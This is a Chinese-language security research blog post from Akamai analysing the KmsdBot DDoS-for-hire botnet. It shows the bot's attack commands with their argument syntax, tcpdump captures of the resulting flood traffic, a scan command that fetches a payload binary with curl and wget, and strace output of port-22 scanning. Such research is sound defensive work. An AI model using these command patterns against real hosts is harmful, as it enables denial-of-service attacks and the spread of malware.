需要云计算吗? 即刻开始体验

KmsdBot 命令控制模拟及其攻击流量分析

Akamai Wave Blue

寫於

Larry CashdollarAllen West

December 19, 2022

Larry W. Cashdollar 从事安全领域漏洞研究员工作已经超过 18 年,目前是 Akamai Technologies 安全事件响应团队的成员。他曾在南缅因大学学习计算机科学专业。Larry 记录了超过 150 个 CVE,曾经在 BSides Boston、OWASP Rhode Island 和 Defcon 上发言,介绍自己的研究成果。在闲暇时间,他喜欢户外运动和重新制作迷你自行车的发动机。

Allen West

寫於

Allen West

Allen West 是 Akamai 安全情报响应团队的一名安全研究员,他热爱调查各种威胁并构建相关工具。他目前正在卡内基梅隆大学攻读信息安全与保障硕士学位。之前,他获得了东北大学网络安全专业学士学位,他还是一名美国海军陆战队退伍军人。在空闲时间,Allen 喜欢旅行、远足、游泳,以及各种各样的户外和冒险活动。

尽管我们无法确认僵尸网络的源站,但比较值得关注的一点是,俄罗斯及其周边地区的攻击活动并不活跃,这可能指向该僵尸网络的源站。
尽管我们无法确认僵尸网络的源站,但比较值得关注的一点是,俄罗斯及其周边地区的攻击活动并不活跃,这可能指向该僵尸网络的源站。

编辑和内容补充:Tricia Howard

执行摘要

  • Akamai 研究人员继续研究 KmsdBot(一个加密挖矿 僵尸网络),并分析了其攻击流量。

  • 鉴于遭受其攻击的受害者分布在多个行业和地理位置,我们认定 KmsdBot 是一种租用型分布式拒绝服务 (DDoS) 攻击。

  • 根据我们观察到的 IP 和域名,受害者主要集中在亚洲、北美和欧洲。

  • FiveM 和 RedM 是其中两个值得关注的攻击目标,它们分别是《侠盗猎车手 V》和《荒野大镖客:救赎 2》的游戏修改器,这让我们得以深入了解该僵尸网络的客户。

  • 尽管我们无法确认僵尸网络的源站,但比较值得关注的一点是,俄罗斯及其周边地区的攻击活动并不活跃,这可能指向该僵尸网络的源站。

前言

去年 11 月,我们的蜜罐捕捉到了一个加密挖矿僵尸网络。我们的安全情报响应团队 (SIRT) 对其开展了分析,并将其命名为 KmsdBot。它在试验了一种新配置之后感染了蜜罐,其部分源站较为值得关注。我们一直在对 KmsdBot 开展分析和试验,包括修改二进制代码,使其指向我们自己的命令和控制 (C2) 服务器,在此过程中,我们亲眼见证了攻击者 造成该僵尸网络崩溃

在持续研究中,我们决定记录 KmsdBot 接收并实际实现的各种命令。我们目前测试的环境支持路由 C2,并将攻击流量发送到特定主机,也就是说,我们可以检查不同攻击命令发出的流量。作为参考,该爬虫程序通过 GET 和 POST 请求,使用 TCP、UDP、HTTP 和 HTTPS 协议发起第 4 层和第 7 层攻击。

初步分析

在对该恶意软件进行分析时,我们通过搜索“move absolute”指令找到了一些命令字符串(图 1)。

图 1:僵尸网络命令字符串列表节选 图 1:僵尸网络命令字符串列表节选

在查看用于将数据载入寄存器的其他指令后,我们找到了更多命令。这次的指令是 lea,也就是加载有效地址指令(图 2)。据此,我们分析了 C2 服务器的不同字符串位置(图 3)。

图 2:第二个命令列表节选,展示了额外的命令 图 2:第二个命令列表节选,展示了额外的命令
图 3:C2 服务器的字符串位置 图 3:C2 服务器的字符串位置

分析攻击流量

根据攻击流量的 tcpdump,部分可用命令似乎尚未完全实现,只能发送默认数据包或空数据包。未实现的命令大多是切实有效的 UDP 命令的 TCP 版本。但通过观察确实有效的命令,我们可以找到一些独特的攻击模式。

第一个比较引人关注的攻击称为“bigdata”,它向指定端口发送 1 Mb 的 POST 请求。Content-Type 标头表示攻击负载使用的是 URL 编码,但在检查后,我们发现这似乎只是垃圾内容。此攻击的目标是在各请求正文中发送大量数据,从而增加各数据包在处理请求时需要占用的带宽。这是一种非常基本的功能,几乎所有 DDoS 攻击活动都会用到,根据我们的观察,这也是该僵尸网络中最常用的功能之一。

  !bigdata <target> 22 600 3

20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5

除了 !bigdata之外,我们还看到了 !tcpbigdata!udpbigdata。这些命令发送的攻击负载并不大,分别是 SYN 和 UDP 数据包。其功能似乎与标准的 bigdata 相同,它们会增加数据包大小,从而加大这些数据包给服务器造成的压力,但也提供了一定的控制能力——支持在 SYN 与 UDP 流量之间进行选择。 

通过使用 SYN 泛洪方法,攻击者即可滥用 TCP 协议中用到的三方握手,在许多不同的端口上建立半开放状态的连接。这造成目标服务器难以处理流量,区分合法连接请求与恶意连接请求更是难上加难。UDP 攻击的优势在于不需要三方握手,因此攻击者端所需的开销更少,对目标发起攻击的难度更低。如果目标未能正确设定限值,此攻击就能以较少的供给资源发挥效力。

  !udpbigdata <target> 223 120

14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I..,	rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l...	j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~	)rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..

还有一些标准的 HTTP(s) POST 和 GET 流量命令融合在标准流量之中,其大小和格式都高度类似于正常数据包,攻击策略的重点并不是通过单个数据包大小放大整体影响。基于 HTTP 的攻击的典型策略是发送大量数据包,而且攻击数据包很难与正常活动使用的数据包区分开来,造成攻击响应机制难以过滤掉攻击数据包。如下所示,这些数据包与正常数据包高度相似。

  !post <target> 443 /fle/tracking 120 20 20 100

21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..


!get <target> 443 /fle/tracking 30 20 20 100

21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0

十六进制命令(!udphex!tcphex)包含少量采用十六进制编码的内容。原因可能是某些主机要求内容采用十六进制编码,否则就无法处理命令,或者通过发送这些内容来加大目标服务器解析其中内容的难度。

  !udphex <target> 80 80 30 250

21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$

虽然 udphex/tcphex 命令并不注重数据包大小,但 tcphexclimb/udphexclimb 命令似乎整合了这种通过单个数据包大小放大整体影响的攻击策略。每条命令仅发送一个数据包。执行这些命令时,最初的数据包较小,类似于 udphextcphex 流量,但随着不断发送更多数据包,单个数据包的大小会增加。在观察此流量一段时间后,我们可以看到,在数据包大小达到指定值之后,它会回到较小的大小,然后再次开始增加,反复重复这样的循环过程。

  !udphexclimb <target> 80 60 600

21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P.	...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O	/.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..)	.n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....

两条特别的命令比较显著,原因在于其目标似乎是视频游戏模组服务器。我们曾在第一篇博文中指出,最早观察到的 KmsdBot 活动目标是 FiveM。FiveM 和 RedM 这两个平台分别用于托管修改版《侠盗猎车手 V》和《荒野大镖客:救赎 2》服务器,它们允许服务器所有者创建不同的规则,并在服务器中整合单机版游戏不存在的新创意。

这两个命令的存在证实了这种恶意软件属于租用型 DDoS 的怀疑。而游戏、奢侈品牌乃至安全公司等众多行业都成为其攻击目标,这也再次印证了这一理论。 

  !redm <target> 7777 / 10 10 10 100

21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P.	...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P.	..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
 '..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L.	....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S.....	.e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN..	....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~..	..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P.	…

这个僵尸网络会发出一种非常独特的命令,就是 !scan 命令。扫描功能似乎以目标环境中的特定路径为目标,执行三方握手,然后向其发送 curl PUSH 请求和 wget PUSH 请求。扫描似乎还运行了两个不同的二进制文件: kumdkmsd

  !scan <target> <target>/win/kzmds <target> kumd kmsd

15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*



15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

我们观察到 kmsd 运行“/x86_64/ksmdx”,因此尝试了在 ksmdx 二进制文件中使用这些参数,以观察其效果。它在端口 22 保持打开状态的情况下开始扫描 IP,这更令人怀疑其目的是搜索其他可感染并纳入僵尸网络的设备。

  strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd

[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid  4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid  4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid  4554] close(30)                   = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid  4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid  4554] close(30)                   = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid  4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid  4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid  4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
 <detached ...>

地理位置

除了攻击命令外,我们还将所观察到的目标 IP 和域名对应到了各个地理位置。根据所观察到的 IP 和域名,该僵尸网络的攻击目标绝大部分集中在亚洲、北美和欧洲。 

针对俄罗斯领土及其周边地区的攻击活动量明显极少,这或许能成为一种有用的线索,帮助我们确定这些攻击的真正源站。在图 4 中,每个标记都表示 KmsdBot 的至少一次攻击尝试。

图 4:KmsdBot 感染尝试 图 4:KmsdBot 感染尝试

跟踪 C2 命令

在初期的一些工作中,我们的工作核心是观察来自 C2 服务器的活动。我们首先以受感染主机的身份加入僵尸网络,然后等待 C2 服务器发来的攻击命令。我们在 Elastic 中记录了这些攻击命令,注明了命令、目标、时间戳和所观察到的其他变量。 

这不仅让我们能够观察到所用的攻击功能,也能让我们了解受害者的分布情况,以及每条命令的具体预期用法。通过此过程,我们提取出如下 18 条命令:

  • post

  • post1

  • get

  • get1

  • bigdata

  • fivem

  • getrand

  • redm 

  • tcp

  • tcpbigdata

  • tcpclimb

  • tcphex

  • tcphexclimb

  • udp

  • udpbigdata

  • udphex

  • udphexclimb

  • Scan

在看到这些命令的名称时,我们立即发现部分命令的独特性以及所支持的整体多样性。就“bigdata”而言,我们认为其提供形式不仅有独立功能,还有特定于 TCP 的版本和特定于 UDP 的版本。大多数其他命令均类似的方式提供。 

另外的一项主要发现是一组针对特定游戏服务器的命令:“fivem”和“redm”。这些命令的存在呼应了先前关于攻击目标游戏服务器的观察结论,也让我们得以一窥这种租用型僵尸网络的客户特点。

图 5 逐一列出了我们在 30 天内观察到的攻击命令,还指明了观察到各命令的频率。 

图 5:利用率最高的僵尸网络命令、其频率(30 天观察结果) 图 5:利用率最高的僵尸网络命令、其频率(30 天观察结果)

在 70 多条命令中,“bigdata”和“get”命令名列前茅,可能是由于它们是影响力最大的通用攻击。频率排名第三的攻击是“fivem”,调用次数大约是 45 次。我们可以借此了解到,游戏服务器或许是比较明确的目标,但成为这些攻击目标的行业不只有游戏业。

FiveM 命令的使用频率依然比较高,RedM 也偶有使用,但根据命令的执行频率,我们可以确定,受害者组合的多样化程度较高。由于支持多种类型的服务器,该僵尸网络的整体可用性得以提高,并且似乎可以有效吸引客户。

结论

最初分析 KmsdBot 时,它立即引起了我们的关注,原因在于如下几个比较显著的因素:它使用 Go 语言编程、具有加密挖矿功能,而且其目标似乎并无一定之规。通过进一步分析,有证据表明这是一种“DDoS 即服务”,这能解释该僵尸网络的许多耐人寻味的特质。

Akamai SIRT 的目标之一是分析和记录 KmsdBot 等僵尸网络的演变,并将我们的观察结论公之于众。KmsdBot 符合我们观察到的一些整体趋势,尤其是它使用的编程语言。 

使用不同编程语言开发恶意代码的做法日渐普及,例如 Go,甚至是经过编译的 Python。威胁格局动态多变,SIRT 将继续密切予以监控。



Akamai Wave Blue

寫於

Larry CashdollarAllen West

December 19, 2022

Larry W. Cashdollar 从事安全领域漏洞研究员工作已经超过 18 年,目前是 Akamai Technologies 安全事件响应团队的成员。他曾在南缅因大学学习计算机科学专业。Larry 记录了超过 150 个 CVE,曾经在 BSides Boston、OWASP Rhode Island 和 Defcon 上发言,介绍自己的研究成果。在闲暇时间,他喜欢户外运动和重新制作迷你自行车的发动机。

Allen West

寫於

Allen West

Allen West 是 Akamai 安全情报响应团队的一名安全研究员,他热爱调查各种威胁并构建相关工具。他目前正在卡内基梅隆大学攻读信息安全与保障硕士学位。之前,他获得了东北大学网络安全专业学士学位,他还是一名美国海军陆战队退伍军人。在空闲时间,Allen 喜欢旅行、远足、游泳,以及各种各样的户外和冒险活动。